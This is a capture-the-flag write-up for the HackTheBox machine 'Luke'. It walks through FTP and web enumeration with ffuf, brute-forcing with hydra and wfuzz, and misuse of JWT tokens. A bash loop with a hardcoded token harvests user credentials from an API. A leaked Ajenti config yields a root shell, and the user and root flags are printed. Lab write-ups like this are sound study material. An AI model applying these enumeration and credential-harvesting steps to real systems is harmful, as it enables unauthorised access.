Luke - HackTheBox
Information gathering
Let's start with the usual information gathering steps:
There's a FTP server on port 21, let's check what's on it:
In the webapp folder there's a txt file:
Let's see what's on the web server on port 80:
Navigating through the website and checking the sources we do not find anything useful.
Let's run ffuf to search directories and files:
$ ffuf -w raft-large-directories.txt -r -u http://10.10.10.137/FUZZ
$ ffuf -w raft-large-files.txt -r -u http://10.10.10.137/FUZZ
I'm using two wordlists, one for directories and one for files. They both are from the SecLists repository:
Exploration
In the /management
directory there's a login made with HTTP basic
authentication:
In the login.php
page there is a login form:
Trying hydra on both of them gives us no results.
The config.php
file contains something interesting:
Let's check the web server on port 3000:
Searching the error message on Google, we find that the token must be provided
in the GET
request using the X-Access-Token
header. Let's fire up Burp and
try:
It's getting recognized, but, obviously, it's not a valid token. After a bit of
googling we find that to authenticate using JWT Tokens we must make a POST
request to the endpoint providing the username and the password.
You can find a good explanation about JWT here.
Let's search any valid path on port 3000:
Let's use wfuzz with the password found in config.php
with a list of usernames
to try to get a token:
We see that the username admin gives us a 200
response code. Let's make the
request with curl
to see the result:
Now we can use the token to authenticate by sending it in the X-Access-Token
header in our requests.
Let's try to use it to access the previous found directory:
By trying to do the same request to /users/admin
, I got the admin password, so
because I like to automate things, I wrote a script that makes a request for
every user
#!/bin/bash
declare -a users=("admin" "derry" "yuri" "dory")
for user in "${users[@]}"; do
curl -s -X GET -H "X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY0NTk2MTIyLCJleHAiOjE1NjQ2ODI1MjJ9.QKBqdc7fAcMY7dVB-ruizMdmcUNm3KheoX1kwSuB68k" http://10.10.10.137:3000/users/$user | jq
done
jq
is used to beautify the JSON
.
By trying the credentials in the logins founds previously, we get access to the
/management
endpoint with the user Derry:
The only interesting file is config.json
:
{
"users": {
"root": {
"configs": {
"ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}",
"ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}",
"ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}",
"ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}",
"ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}",
"ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}",
"ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}",
"ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}",
"ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}",
"ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}",
"ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}",
"ajenti.users.UserManager": "{\"sync-provider\": \"\"}",
"ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}",
"ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}",
"ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
},
"password": "KpMasng6S5EtTy9Z",
"permissions": []
}
},
"language": "",
"bind": {
"host": "0.0.0.0",
"port": 8000
},
"enable_feedback": true,
"ssl": {
"enable": false,
"certificate_path": ""
},
"authentication": true,
"installation_id": 12354
}
We find the username and password (root:KpMasng6S5EtTy9Z)
for the Ajenti panel
running on port 8000
. This is the administration panel:
On the left, in the terminal section, we have access to a shell:
To my surprise, this is a root shell, so during my workflow I must have skipped some steps.
User flag
58d441e500e8941f9cf3baa499e2e4da
Root flag
8448343028fadde1e2a1b0a44d01e650